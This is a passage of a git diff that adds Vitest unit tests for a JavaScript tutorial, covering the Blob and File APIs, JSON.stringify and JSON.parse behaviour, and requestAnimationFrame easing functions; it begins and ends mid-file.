'file1.txt')) + formData.append('files', new File(['b'], 'file2.txt')) + + const files = formData.getAll('files') + expect(files.length).toBe(2) + }) + }) + + describe('Image preview pattern', () => { + it('should set image src from blob URL', () => { + const blob = new Blob(['fake image data'], { type: 'image/png' }) + const url = URL.createObjectURL(blob) + + const img = document.createElement('img') + img.src = url + container.appendChild(img) + + expect(img.src).toBe(url) + + URL.revokeObjectURL(url) + }) + }) + + describe('Memory management', () => { + it('should call revokeObjectURL without error', () => { + const blob = new Blob(['test']) + const url = URL.createObjectURL(blob) + + expect(() => URL.revokeObjectURL(url)).not.toThrow() + }) + + it('should handle revoking non-existent URL', () => { + expect(() => URL.revokeObjectURL('blob:fake-url')).not.toThrow() + }) + }) +}) diff --git a/tests/beyond/data-handling/blob-file-api/blob-file-api.test.js b/tests/beyond/data-handling/blob-file-api/blob-file-api.test.js new file mode 100644 index 00000000..eafc708e --- /dev/null +++ b/tests/beyond/data-handling/blob-file-api/blob-file-api.test.js @@ -0,0 +1,397 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +describe('Blob & File API', () => { + // ============================================================ + // WHAT IS A BLOB IN JAVASCRIPT? + // From blob-file-api.mdx lines 32-42 + // ============================================================ + + describe('What is a Blob', () => { + // From lines 32-40: Creating Blobs from different data types + it('should create a Blob from a string', () => { + const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' }) + + expect(textBlob.size).toBe(13) + expect(textBlob.type).toBe('text/plain') + }) + + it('should create Blobs with different MIME types', () => { + const jsonBlob = new Blob([JSON.stringify({ name: 'Alice' })], { type: 'application/json' }) + const htmlBlob = new Blob(['<h1>Title</h1>'], { type: 'text/html' }) + + expect(jsonBlob.type).toBe('application/json') + expect(htmlBlob.type).toBe('text/html') + }) + }) + + // ============================================================ + // CREATING BLOBS + // From blob-file-api.mdx lines 72-110 + // ============================================================ + + describe('Creating Blobs', () => { + describe('Basic Blob Creation', () => { + // From lines 77-96: Basic Blob creation examples + it('should create Blob from a single string', () => { + const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' }) + + expect(textBlob.size).toBe(13) + expect(textBlob.type).toBe('text/plain') + }) + + it('should concatenate multiple strings in Blob', async () => { + const multiBlob = new Blob(['Hello, ', 'World!'], { type: 'text/plain' }) + + expect(multiBlob.size).toBe(13) + const text = await multiBlob.text() + expect(text).toBe('Hello, World!') + }) + + it('should create Blob from JSON data', async () => { + const user = { name: 'Alice', age: 30 } + const jsonBlob = new Blob( + [JSON.stringify(user, null, 2)], + { type: 'application/json' } + ) + + expect(jsonBlob.type).toBe('application/json') + const text = await jsonBlob.text() + expect(JSON.parse(text)).toEqual(user) + }) + + it('should create Blob from HTML', async () => { + const htmlBlob = new Blob( + ['<!DOCTYPE html><html><body><h1>Hello</h1></body></html>'], + { type: 'text/html' } + ) + + expect(htmlBlob.type).toBe('text/html') + const text = await htmlBlob.text() + expect(text).toContain('<h1>Hello</h1>') + }) + }) + + describe('From Typed Arrays and ArrayBuffers', () => { + // From lines 100-120: Binary data Blob creation + it('should create Blob from Uint8Array', async () => { + const bytes = new Uint8Array([72, 101, 108, 108, 111]) // "Hello" in ASCII + const binaryBlob = new Blob([bytes], { type: 'application/octet-stream' }) + + expect(binaryBlob.size).toBe(5) + const text = await binaryBlob.text() + expect(text).toBe('Hello') + }) + + it('should create Blob from ArrayBuffer', () => { + const buffer = new ArrayBuffer(8) + const view = new DataView(buffer) + view.setFloat64(0, Math.PI) + const bufferBlob = new Blob([buffer]) + + expect(bufferBlob.size).toBe(8) + }) + + it('should combine different data types in a Blob', async () => { + const bytes = new Uint8Array([72, 101, 108, 108, 111]) // "Hello" + const mixedBlob = new Blob([ + 'Header: ', + bytes, + '\nFooter' + ], { type: 'text/plain' }) + + const text = await mixedBlob.text() + expect(text).toBe('Header: Hello\nFooter') + }) + }) + + describe('Blob Properties', () => { + // From lines 122-132: Blob properties + it('should have size and type properties', () => { + const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) + + expect(blob.size).toBe(13) + expect(blob.type).toBe('text/plain') + }) + + it('should have empty type if not specified', () => { + const blob = new Blob(['data']) + + expect(blob.type).toBe('') + }) + }) + }) + + // ============================================================ + // THE FILE INTERFACE + // From blob-file-api.mdx lines 135-200 + // ============================================================ + + describe('The File Interface', () => { + // From lines 175-190: Creating File objects programmatically + it('should create File from content array', () => { + const file = new File( + ['Hello, World!'], + 'greeting.txt', + { + type: 'text/plain', + lastModified: Date.now() + } + ) + + expect(file.name).toBe('greeting.txt') + expect(file.size).toBe(13) + expect(file.type).toBe('text/plain') + }) + + it('should have File inherit from Blob', () => { + const file = new File(['content'], 'test.txt', { type: 'text/plain' }) + + expect(file instanceof Blob).toBe(true) + }) + + it('should have lastModified property', () => { + const now = Date.now() + const file = new File(['content'], 'test.txt', { lastModified: now }) + + expect(file.lastModified).toBe(now) + }) + + it('should allow reading File as text (inherited from Blob)', async () => { + const file = new File(['Hello from File'], 'test.txt', { type: 'text/plain' }) + + const text = await file.text() + expect(text).toBe('Hello from File') + }) + }) + + // ============================================================ + // MODERN BLOB METHODS + // From blob-file-api.mdx lines 290-315 + // ============================================================ + + describe('Modern Blob Methods', () => { + // From lines 294-302: Promise-based methods + it('should read as text with blob.text()', async () => { + const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) + + const text = await blob.text() + expect(text).toBe('Hello, World!') + }) + + it('should read as ArrayBuffer with blob.arrayBuffer()', async () => { + const blob = new Blob(['Hello'], { type: 'text/plain' }) + + const buffer = await blob.arrayBuffer() + const bytes = new Uint8Array(buffer) + + expect(bytes[0]).toBe(72) // 'H' + expect(bytes[1]).toBe(101) // 'e' + expect(bytes[2]).toBe(108) // 'l' + expect(bytes[3]).toBe(108) // 'l' + expect(bytes[4]).toBe(111) // 'o' + }) + + it('should provide readable stream with blob.stream()', async () => { + const blob = new Blob(['Hello'], { type: 'text/plain' }) + + const stream = blob.stream() + const reader = stream.getReader() + + const { done, value } = await reader.read() + + expect(done).toBe(false) + expect(value).toBeInstanceOf(Uint8Array) + expect(value[0]).toBe(72) // 'H' + }) + }) + + // ============================================================ + // SLICING BLOBS + // From blob-file-api.mdx lines 430-465 + // ============================================================ + + describe('Slicing Blobs', () => { + // From lines 432-448: slice() method examples + it('should slice first five bytes', async () => { + const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) + + const firstFive = blob.slice(0, 5) + const text = await firstFive.text() + + expect(text).toBe('Hello') + }) + + it('should slice using negative index', async () => { + const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) + + const lastSix = blob.slice(-6) + const text = await lastSix.text() + + expect(text).toBe('World!') + }) + + it('should slice middle portion', async () => { + const blob = new Blob(['Hello, World!'], { type: 'text/plain' }) + + const middle = blob.slice(7, 12) + const text = await middle.text() + + expect(text).toBe('World') + }) + + it('should allow changing MIME type when slicing', () => { + const blob = new Blob(['Hello'], { type: 'text/plain' }) + + const withNewType = blob.slice(0, 5, 'text/html') + + expect(withNewType.type).toBe('text/html') + }) + + it('should not modify original blob when slicing', async () => { + const original = new Blob(['Hello, World!'], { type: 'text/plain' }) + const originalSize = original.size + + original.slice(0, 5) + + expect(original.size).toBe(originalSize) + expect(await original.text()).toBe('Hello, World!') + }) + }) + + // ============================================================ + // CONVERTING BETWEEN FORMATS + // From blob-file-api.mdx lines 520-570 + // ============================================================ + + describe('Converting Between Formats', () => { + describe('Blob to ArrayBuffer and Back', () => { + // From lines 560-565: Blob to ArrayBuffer conversion + it('should convert Blob to ArrayBuffer', async () => { + const blob = new Blob(['Hello']) + const buffer = await blob.arrayBuffer() + + expect(buffer).toBeInstanceOf(ArrayBuffer) + expect(buffer.byteLength).toBe(5) + }) + + it('should convert ArrayBuffer back to Blob', async () => { + const original = new Blob(['Hello']) + const buffer = await original.arrayBuffer() + + const newBlob = new Blob([buffer]) + + expect(newBlob.size).toBe(5) + expect(await newBlob.text()).toBe('Hello') + }) + }) + }) + + // ============================================================ + // ERROR HANDLING AND EDGE CASES + // From blob-file-api.mdx (Common Mistakes section) + // ============================================================ + + describe('Edge Cases', () => { + it('should handle empty Blob', async () => { + const emptyBlob = new Blob([]) + + expect(emptyBlob.size).toBe(0) + expect(await emptyBlob.text()).toBe('') + }) + + it('should handle Blob with empty string', async () => { + const blob = new Blob(['']) + + expect(blob.size).toBe(0) + expect(await blob.text()).toBe('') + }) + + it('should handle Blob with whitespace', async () => { + const blob = new Blob([' ']) + + expect(blob.size).toBe(3) + expect(await blob.text()).toBe(' ') + }) + + it('should handle multiple empty parts', async () => { + const blob = new Blob(['', '', '']) + + expect(blob.size).toBe(0) + expect(await blob.text()).toBe('') + }) + + it('should handle Unicode content', async () => { + const blob = new Blob(['Hello, World! 🌍'], { type: 'text/plain' }) + + const text = await blob.text() + expect(text).toBe('Hello, World! 🌍') + }) + + it('should handle Chinese characters', async () => { + const blob = new Blob(['你好世界'], { type: 'text/plain' }) + + const text = await blob.text() + expect(text).toBe('你好世界') + }) + }) + + // ============================================================ + // COMBINING BLOBS + // ============================================================ + + describe('Combining Blobs', () => { + it('should combine multiple Blobs into one', async () => { + const blob1 = new Blob(['Hello, ']) + const blob2 = new Blob(['World!']) + + const combined = new Blob([blob1, blob2]) + + expect(await combined.text()).toBe('Hello, World!') + }) + + it('should combine Blob with string', async () => { + const blob = new Blob(['Hello']) + + const combined = new Blob([blob, ', ', 'World!']) + + expect(await combined.text()).toBe('Hello, World!') + }) + + it('should combine Blob with Uint8Array', async () => { + const blob = new Blob(['Hello']) + const bytes = new Uint8Array([33]) // '!' + + const combined = new Blob([blob, bytes]) + + expect(await combined.text()).toBe('Hello!') + }) + }) + + // ============================================================ + // FILE SPECIFIC TESTS + // ============================================================ + + describe('File-specific behavior', () => { + it('should have default lastModified if not specified', () => { + const before = Date.now() + const file = new File(['content'], 'test.txt') + const after = Date.now() + + expect(file.lastModified).toBeGreaterThanOrEqual(before) + expect(file.lastModified).toBeLessThanOrEqual(after) + }) + + it('should preserve filename with special characters', () => { + const file = new File(['content'], 'my file (1).txt') + + expect(file.name).toBe('my file (1).txt') + }) + + it('should handle filename with extension correctly', () => { + const file = new File(['content'], 'document.pdf', { type: 'application/pdf' }) + + expect(file.name).toBe('document.pdf') + expect(file.type).toBe('application/pdf') + }) + }) +}) diff --git a/tests/beyond/data-handling/json-deep-dive/json-deep-dive.test.js b/tests/beyond/data-handling/json-deep-dive/json-deep-dive.test.js new file mode 100644 index 00000000..2ca6e97e --- /dev/null +++ b/tests/beyond/data-handling/json-deep-dive/json-deep-dive.test.js @@ -0,0 +1,719 @@ +import { describe, it, expect } from 'vitest' + +describe('JSON Deep Dive', () => { + // ============================================================ + // BASIC SERIALIZATION + // From json-deep-dive.mdx lines 30-45 + // ============================================================ + + describe('Basic JSON Operations', () => { + // From lines 30-40: Parse and stringify basics + it('should parse JSON string to JavaScript object', () => { + const jsonString = '{"name":"Alice","age":30,"isAdmin":true}' + const user = JSON.parse(jsonString) + + expect(user.name).toBe('Alice') + expect(user.age).toBe(30) + expect(user.isAdmin).toBe(true) + }) + + it('should stringify JavaScript object to JSON string', () => { + const user = { name: 'Alice', age: 30, isAdmin: true } + const json = JSON.stringify(user) + + expect(json).toBe('{"name":"Alice","age":30,"isAdmin":true}') + }) + + // From lines 100-110: Basic stringify examples + it('should stringify various value types', () => { + expect(JSON.stringify({ a: 1, b: 2 })).toBe('{"a":1,"b":2}') + expect(JSON.stringify([1, 2, 3])).toBe('[1,2,3]') + expect(JSON.stringify('hello')).toBe('"hello"') + expect(JSON.stringify(42)).toBe('42') + expect(JSON.stringify(true)).toBe('true') + expect(JSON.stringify(null)).toBe('null') + }) + }) + + // ============================================================ + // WHAT GETS LOST IN SERIALIZATION + // From json-deep-dive.mdx lines 115-140 + // ============================================================ + + describe('Values Lost During Serialization', () => { + // From lines 115-130: Values that don't survive stringify + it('should omit functions, undefined, and symbols from objects', () => { + const obj = { + name: 'Alice', + greet: function () { + return 'Hi!' + }, + age: undefined, + id: Symbol('id'), + nothing: null + } + + const result = JSON.parse(JSON.stringify(obj)) + + expect(result.name).toBe('Alice') + expect(result.greet).toBeUndefined() + expect(result.age).toBeUndefined() + expect(result.id).toBeUndefined() + expect(result.nothing).toBeNull() + }) + + it('should convert NaN and Infinity to null', () => { + const obj = { + nan: NaN, + infinity: Infinity, + negInfinity: -Infinity + } + + const result = JSON.parse(JSON.stringify(obj)) + + expect(result.nan).toBeNull() + expect(result.infinity).toBeNull() + expect(result.negInfinity).toBeNull() + }) + + // From lines 135-140: Arrays handle these differently + it('should convert undefined, functions, and symbols to null in arrays', () => { + const arr = [1, undefined, function () {}, Symbol('x'), 2] + const result = JSON.parse(JSON.stringify(arr)) + + expect(result).toEqual([1, null, null, null, 2]) + }) + }) + + // ============================================================ + // REPLACER PARAMETER + // From json-deep-dive.mdx lines 150-220 + // ============================================================ + + describe('Replacer Parameter', () => { + // From lines 155-175: Replacer as function + it('should filter out properties using replacer function', () => { + const data = { + name: 'Alice', + password: 'secret123', + email: 'alice@example.com', + age: 30 + } + + const safeJSON = JSON.stringify(data, (key, value) => { + if (key === 'password') return undefined + if (key === 'email') return '***hidden***' + return value + }) + + const result = JSON.parse(safeJSON) + + expect(result.name).toBe('Alice') + expect(result.password).toBeUndefined() + expect(result.email).toBe('***hidden***') + expect(result.age).toBe(30) + }) + + // From lines 180-195: Initial call with empty key + it('should call replacer with empty key for root object', () => { + const calls = [] + + JSON.stringify({ a: 1 }, (key, value) => { + calls.push({ key, isObject: typeof value === 'object' }) + return value + }) + + expect(calls[0]).toEqual({ key: '', isObject: true }) + expect(calls[1]).toEqual({ key: 'a', isObject: false }) + }) + + // From lines 200-210: Replacer as array + it('should include only specified properties when replacer is array', () => { + const user = { + id: 1, + name: 'Alice', + email: 'alice@example.com', + password: 'secret', + role: 'admin', + createdAt: '2024-01-01' + } + + const json = JSON.stringify(user, ['id', 'name', 'email']) + + expect(json).toBe('{"id":1,"name":"Alice","email":"alice@example.com"}') + }) + }) + + // ============================================================ + // SPACE PARAMETER + // From json-deep-dive.mdx lines 225-265 + // ============================================================ + + describe('Space Parameter', () => { + // From lines 230-250: Different space options + it('should format JSON with numeric space parameter', () => { + const data = { name: 'Alice', age: 30 } + + const formatted = JSON.stringify(data, null, 2) + + expect(formatted).toBe('{\n "name": "Alice",\n "age": 30\n}') + }) + + it('should format JSON with string space parameter', () => { + const data = { a: 1, b: 2 } + + const formatted = JSON.stringify(data, null, '\t') + + expect(formatted).toContain('\t"a"') + expect(formatted).toContain('\t"b"') + }) + + it('should clamp space number to 10', () => { + const data = { x: 1 } + + const with15 = JSON.stringify(data, null, 15) + const with10 = JSON.stringify(data, null, 10) + + // Both should have same indentation (clamped to 10) + expect(with15).toBe(with10) + }) + }) + + // ============================================================ + // JSON.PARSE BASICS + // From json-deep-dive.mdx lines 275-310 + // ============================================================ + + describe('JSON.parse() Basics', () => { + // From lines 280-290: Basic parsing + it('should parse various JSON value types', () => { + expect(JSON.parse('{"name":"Alice","age":30}')).toEqual({ + name: 'Alice', + age: 30 + }) + expect(JSON.parse('[1, 2, 3]')).toEqual([1, 2, 3]) + expect(JSON.parse('"hello"')).toBe('hello') + expect(JSON.parse('42')).toBe(42) + expect(JSON.parse('true')).toBe(true) + expect(JSON.parse('null')).toBeNull() + }) + + // From lines 295-310: Invalid JSON throws + it('should throw SyntaxError for invalid JSON', () => { + // Missing quotes around keys + expect(() => JSON.parse('{name: "Alice"}')).toThrow(SyntaxError) + + // Single quotes + expect(() => JSON.parse("{'name': 'Alice'}")).toThrow(SyntaxError) + + // Trailing comma + expect(() => JSON.parse('{"a": 1,}')).toThrow(SyntaxError) + }) + }) + + // ============================================================ + // REVIVER PARAMETER + // From json-deep-dive.mdx lines 320-390 + // ============================================================ + + describe('Reviver Parameter', () => { + // From lines 330-355: Reviving dates + it('should revive date strings to Date objects', () => { + const json = '{"name":"Alice","createdAt":"2024-01-15T10:30:00.000Z"}' + + const obj = JSON.parse(json, (key, value) => { + if (typeof value === 'string' && /^\d{4}-\d{2}-\d{2}T/.test(value)) { + return new Date(value) + } + return value + }) + + expect(obj.name).toBe('Alice') + expect(obj.createdAt instanceof Date).toBe(true) + expect(obj.createdAt.toISOString()).toBe('2024-01-15T10:30:00.000Z') + }) + + // From lines 360-375: Processing order + it('should process values from innermost to outermost', () => { + const order = [] + + JSON.parse('{"a":{"b":1},"c":2}', (key, value) => { + order.push(key) + return value + }) + + // Innermost first, then containing object, siblings, root last + expect(order).toEqual(['b', 'a', 'c', '']) + }) + + // From lines 380-390: Filtering during parse + it('should delete properties by returning undefined', () => { + const json = '{"name":"Alice","__internal":true,"id":1}' + + const cleaned = JSON.parse(json, (key, value) => { + if (key.startsWith('__')) return undefined + return value + }) + + expect(cleaned).toEqual({ name: 'Alice', id: 1 }) + expect(cleaned.__internal).toBeUndefined() + }) + }) + + // ============================================================ + // CUSTOM toJSON() METHODS + // From json-deep-dive.mdx lines 400-460 + // ============================================================ + + describe('Custom toJSON() Methods', () => { + // From lines 405-420: Basic toJSON + it('should use toJSON() method for serialization', () => { + const user = { + name: 'Alice', + password: 'secret123', + toJSON() { + return { name: this.name } + } + } + + const json = JSON.stringify(user) + + expect(json).toBe('{"name":"Alice"}') + }) + + // From lines 425-440: Built-in Date toJSON + it('should serialize Date using its toJSON method', () => { + const date = new Date('2024-01-15T10:30:00.000Z') + + const json = JSON.stringify(date) + + expect(json).toBe('"2024-01-15T10:30:00.000Z"') + }) + + // From lines 445-460: toJSON in classes + it('should use toJSON in class instances', () => { + class User { + constructor(name, email, password) { + this.name = name + this.email = email + this.password = password + this.createdAt = new Date('2024-01-15T10:30:00.000Z') + } + + toJSON() { + return { + name: this.name, + email: this.email, + createdAt: this.createdAt.toISOString() + } + } + } + + const user = new User('Alice', 'alice@example.com', 'secret') + const json = JSON.stringify(user) + const parsed = JSON.parse(json) + + expect(parsed.name).toBe('Alice') + expect(parsed.email).toBe('alice@example.com') + expect(parsed.password).toBeUndefined() + expect(parsed.createdAt).toBe('2024-01-15T10:30:00.000Z') + }) + + // From lines 465-480: toJSON receives key + it('should pass property key to toJSON method', () => { + const obj = { + toJSON(key) { + return key ? `Nested under "${key}"` : 'Root level' + } + } + + expect(JSON.stringify(obj)).toBe('"Root level"') + expect(JSON.stringify({ data: obj })).toBe( + '{"data":"Nested under \\"data\\""}' + ) + expect(JSON.stringify([obj])).toBe('["Nested under \\"0\\""]') + }) + }) + + // ============================================================ + // CIRCULAR REFERENCES + // From json-deep-dive.mdx lines 490-550 + // ============================================================ + + describe('Circular References', () => { + // From lines 495-505: Circular reference error + it('should throw TypeError for circular references', () => { + const obj = { name: 'Alice' } + obj.self = obj + + expect(() => JSON.stringify(obj)).toThrow(TypeError) + }) + + // From lines 510-540: Safe stringify with WeakSet + it('should handle circular references with custom replacer', () => { + function safeStringify(obj) { + const seen = new WeakSet() + + return JSON.stringify(obj, (key, value) => { + if (typeof value === 'object' && value !== null) { + if (seen.has(value)) { + return '[Circular Reference]' + } + seen.add(value) + } + return value + }) + } + + const obj = { name: 'Alice' } + obj.self = obj + + const result = safeStringify(obj) + + expect(result).toBe('{"name":"Alice","self":"[Circular Reference]"}') + }) + + // More complex circular reference + it('should detect nested circular references', () => { + function safeStringify(obj) { + const seen = new WeakSet() + + return JSON.stringify(obj, (key, value) => { + if (typeof value === 'object' && value !== null) { + if (seen.has(value)) { + return '[Circular]' + } + seen.add(value) + } + return value + }) + } + + const a = { name: 'a' } + const b = { name: 'b', ref: a } + a.ref = b + + const result = JSON.parse(safeStringify(a)) + + expect(result.name).toBe('a') + expect(result.ref.name).toBe('b') + expect(result.ref.ref).toBe('[Circular]') + }) + }) + + // ============================================================ + // SERIALIZING SPECIAL TYPES + // From json-deep-dive.mdx lines 560-680 + // ============================================================ + + describe('Serializing Special Types', () => { + // From lines 565-580: Dates round-trip + it('should serialize and revive dates', () => { + const event = { name: 'Meeting', date: new Date('2024-06-15') } + const json = JSON.stringify(event) + + const parsed = JSON.parse(json, (key, value) => { + if (key === 'date') return new Date(value) + return value + }) + + expect(parsed.name).toBe('Meeting') + expect(parsed.date instanceof Date).toBe(true) + }) + + // From lines 585-595: Maps and Sets become empty + it('should show Maps and Sets serialize as empty objects by default', () => { + const map = new Map([ + ['a', 1], + ['b', 2] + ]) + const set = new Set([1, 2, 3]) + + expect(JSON.stringify(map)).toBe('{}') + expect(JSON.stringify(set)).toBe('{}') + }) + + // From lines 600-650: Custom Map/Set serialization + it('should serialize and revive Maps with custom replacer/reviver', () => { + function replacer(key, value) { + if (value instanceof Map) { + return { + __type: 'Map', + entries: Array.from(value.entries()) + } + } + if (value instanceof Set) { + return { + __type: 'Set', + values: Array.from(value) + } + } + return value + } + + function reviver(key, value) { + if (value && value.__type === 'Map') { + return new Map(value.entries) + } + if (value && value.__type === 'Set') { + return new Set(value.values) + } + return value + } + + const data = { + users: new Map([ + ['alice', { age: 30 }], + ['bob', { age: 25 }] + ]), + tags: new Set(['javascript', 'tutorial']) + } + + const json = JSON.stringify(data, replacer) + const restored = JSON.parse(json, reviver) + + expect(restored.users instanceof Map).toBe(true) + expect(restored.users.get('alice')).toEqual({ age: 30 }) + expect(restored.tags instanceof Set).toBe(true) + expect(restored.tags.has('javascript')).toBe(true) + }) + + // From lines 655-680: BigInt handling + it('should throw when stringifying BigInt by default', () => { + const data = { bigNumber: 12345678901234567890n } + + expect(() => JSON.stringify(data)).toThrow(TypeError) + }) + + it('should serialize and revive BigInt with custom replacer/reviver', () => { + function bigIntReplacer(key, value) { + if (typeof value === 'bigint') { + return { __type: 'BigInt', value: value.toString() } + } + return value + } + + function bigIntReviver(key, value) { + if (value && value.__type === 'BigInt') { + return BigInt(value.value) + } + return value + } + + const data = { id: 9007199254740993n } + const json = JSON.stringify(data, bigIntReplacer) + const restored = JSON.parse(json, bigIntReviver) + + expect(restored.id).toBe(9007199254740993n) + }) + }) + + // ============================================================ + // COMMON PATTERNS AND USE CASES + // From json-deep-dive.mdx lines 690-790 + // ============================================================ + + describe('Common Patterns', () => { + // From lines 695-705: Deep clone + it('should deep clone simple objects using JSON', () => { + const original = { a: 1, b: { c: 2 } } + const clone = JSON.parse(JSON.stringify(original)) + + clone.b.c = 999 + + expect(original.b.c).toBe(2) + expect(clone.b.c).toBe(999) + }) + + // From lines 735-760: Logging with redaction + it('should redact sensitive keys in logging', () => { + function safeStringify(obj, sensitiveKeys = ['password', 'token', 'secret']) { + return JSON.stringify( + obj, + (key, value) => { + if (sensitiveKeys.includes(key.toLowerCase())) { + return '[REDACTED]' + } + return value + }, + 2 + ) + } + + const data = { + user: 'alice', + password: 'secret123', + data: { apiToken: 'abc123' } + } + + const redacted = JSON.parse(safeStringify(data)) + + expect(redacted.user).toBe('alice') + expect(redacted.password).toBe('[REDACTED]') + }) + }) + + // ============================================================ + // TEST YOUR KNOWLEDGE - Q&A SECTION TESTS + // From json-deep-dive.mdx lines 820-920 + // ============================================================ + + describe('Test Your Knowledge', () => { + // Q1: Functions omitted from objects + it('should demonstrate functions being omitted from stringify', () => { + const obj = { + name: 'Alice', + greet: function () { + return 'Hi!' + } + } + + const json = JSON.stringify(obj) + + expect(json).toBe('{"name":"Alice"}') + }) + + // Q2: Excluding properties with array replacer + it('should demonstrate array replacer for whitelisting', () => { + const user = { id: 1, name: 'Alice', password: 'secret' } + const json = JSON.stringify(user, ['id', 'name']) + + expect(json).toBe('{"id":1,"name":"Alice"}') + }) + + // Q3: Date parsing without reviver + it('should show dates remain strings without reviver', () => { + const original = { created: new Date('2024-01-15') } + const json = JSON.stringify(original) + const parsed = JSON.parse(json) + + expect(typeof parsed.created).toBe('string') + }) + + // Q4: Difference between replacer and toJSON + it('should show toJSON runs before replacer', () => { + const log = [] + + const obj = { + value: 1, + toJSON() { + log.push('toJSON called') + return { converted: this.value } + } + } + + JSON.stringify(obj, (key, value) => { + if (key !== '') log.push(`replacer: ${key}`) + return value + }) + + expect(log[0]).toBe('toJSON called') + expect(log[1]).toBe('replacer: converted') + }) + + // Q5: Circular reference handling + it('should demonstrate WeakSet for circular reference detection', () => { + const seen = new WeakSet() + const obj = { name: 'test' } + obj.self = obj + + const result = JSON.stringify(obj, (key, value) => { + if (typeof value === 'object' && value !== null) { + if (seen.has(value)) { + return '[Circular]' + } + seen.add(value) + } + return value + }) + + expect(result).toBe('{"name":"test","self":"[Circular]"}') + }) + + // Q6: Space parameter clamping + it('should demonstrate space parameter formatting', () => { + const data = { name: 'Alice', age: 30 } + + const with2 = JSON.stringify(data, null, 2) + const with4 = JSON.stringify(data, null, 4) + const withTab = JSON.stringify(data, null, '\t') + + expect(with2).toContain(' "name"') + expect(with4).toContain(' "name"') + expect(withTab).toContain('\t"name"') + }) + }) + + // ============================================================ + // EDGE CASES AND ERROR HANDLING + // Additional tests for robustness + // ============================================================ + + describe('Edge Cases', () => { + it('should handle empty objects and arrays', () => { + expect(JSON.stringify({})).toBe('{}') + expect(JSON.stringify([])).toBe('[]') + expect(JSON.parse('{}')).toEqual({}) + expect(JSON.parse('[]')).toEqual([]) + }) + + it('should handle nested objects', () => { + const deep = { a: { b: { c: { d: 1 } } } } + const json = JSON.stringify(deep) + const parsed = JSON.parse(json) + + expect(parsed.a.b.c.d).toBe(1) + }) + + it('should handle arrays with objects', () => { + const data = [ + { id: 1, name: 'Alice' }, + { id: 2, name: 'Bob' } + ] + + const json = JSON.stringify(data) + const parsed = JSON.parse(json) + + expect(parsed).toEqual(data) + }) + + it('should handle unicode strings', () => { + const data = { emoji: '😀', chinese: '中文' } + const json = JSON.stringify(data) + const parsed = JSON.parse(json) + + expect(parsed.emoji).toBe('😀') + expect(parsed.chinese).toBe('中文') + }) + + it('should handle escaped characters in strings', () => { + const data = { text: 'Line1\nLine2\tTabbed' } + const json = JSON.stringify(data) + const parsed = JSON.parse(json) + + expect(parsed.text).toBe('Line1\nLine2\tTabbed') + }) + + it('should stringify null prototype objects', () => { + const obj = Object.create(null) + obj.name = 'Alice' + + const json = JSON.stringify(obj) + + expect(json).toBe('{"name":"Alice"}') + }) + + it('should handle replacer that returns object wrapper', () => { + const result = JSON.stringify({ x: 1 }, (key, value) => { + if (key === '') { + return { wrapper: value, meta: 'added' } + } + return value + }) + + const parsed = JSON.parse(result) + expect(parsed.wrapper.x).toBe(1) + expect(parsed.meta).toBe('added') + }) + }) +}) diff --git a/tests/beyond/data-handling/requestanimationframe/requestanimationframe.test.js b/tests/beyond/data-handling/requestanimationframe/requestanimationframe.test.js new file mode 100644 index 00000000..1a0be1f3 --- /dev/null +++ b/tests/beyond/data-handling/requestanimationframe/requestanimationframe.test.js @@ -0,0 +1,322 @@ +import { describe, it, expect } from 'vitest' + +describe('requestAnimationFrame', () => { + describe('Easing Functions', () => { + const easing = { + easeIn: (t) => t * t, + easeOut: (t) => t * (2 - t), + easeInOut: (t) => t < 0.5 + ? 2 * t * t + : -1 + (4 - 2 * t) * t, + easeOutBounce: (t) => { + if (t < 1 / 2.75) { + return 7.5625 * t * t + } else if (t < 2 / 2.75) { + return 7.5625 * (t -= 1.5 / 2.75) * t + 0.75 + } else if (t < 2.5 / 2.75) { + return 7.5625 * (t -= 2.25 / 2.75) * t + 0.9375 + } else { + return 7.5625 * (t -= 2.625 / 2.75) * t + 0.984375 + } + } + } + + describe('easeIn', () => { + it('should return 0 when progress is 0', () => { + expect(easing.easeIn(0)).toBe(0) + }) + + it('should return 1 when progress is 1', () => { + expect(easing.easeIn(1)).toBe(1) + }) + + it('should return 0.25 when progress is 0.5 (quadratic)', () => { + expect(easing.easeIn(0.5)).toBe(0.25) + }) + + it('should start slow and end fast', () => { + const firstQuarter = easing.easeIn(0.25) - easing.easeIn(0) + const secondQuarter = easing.easeIn(0.5) - easing.easeIn(0.25) + expect(firstQuarter).toBeLessThan(secondQuarter) + }) + }) + + describe('easeOut', () => { + it('should return 0 when progress is 0', () => { + expect(easing.easeOut(0)).toBe(0) + }) + + it('should return 1 when progress is 1', () => { + expect(easing.easeOut(1)).toBe(1) + }) + + it('should return 0.75 when progress is 0.5', () => { + expect(easing.easeOut(0.5)).toBe(0.75) + }) + + it('should start fast and end slow', () => { + const firstQuarter = easing.easeOut(0.25) - easing.easeOut(0) + const lastQuarter = easing.easeOut(1) - easing.easeOut(0.75) + expect(firstQuarter).toBeGreaterThan(lastQuarter) + }) + }) + + describe('easeInOut', () => { + it('should return 0 when progress is 0', () => { + expect(easing.easeInOut(0)).toBe(0) + }) + + it('should return 1 when progress is 1', () => { + expect(easing.easeInOut(1)).toBe(1) + }) + + it('should return 0.5 when progress is 0.5', () => { + expect(easing.easeInOut(0.5)).toBe(0.5) + }) + + it('should be symmetric around 0.5', () => { + const at025 = easing.easeInOut(0.25) + const at075 = easing.easeInOut(0.75) + expect(at025 + at075).toBeCloseTo(1) + }) + }) + + describe('easeOutBounce', () => { + it('should return 0 when progress is 0', () => { + expect(easing.easeOutBounce(0)).toBe(0) + }) + + it('should return 1 when progress is 1', () => { + expect(easing.easeOutBounce(1)).toBeCloseTo(1, 5) + }) + + it('should produce values in range [0, 1]', () => { + for (let t = 0; t <= 1; t += 0.1) { + const value = easing.easeOutBounce(t) + expect(value).toBeGreaterThanOrEqual(0) + expect(value).toBeLessThanOrEqual(1.1) + } + }) + }) + }) + + describe('Animation Progress Calculation', () => { + it('should calculate progress from 0 to 1 based on elapsed time', () => { + const duration = 2000 + const startTime = 1000 + + function calculateProgress(timestamp) { + const elapsed = timestamp - startTime + return Math.min(elapsed / duration, 1) + } + + expect(calculateProgress(1000)).toBe(0) + expect(calculateProgress(2000)).toBe(0.5) + expect(calculateProgress(3000)).toBe(1) + expect(calculateProgress(4000)).toBe(1) + }) + + it('should calculate position based on progress', () => { + 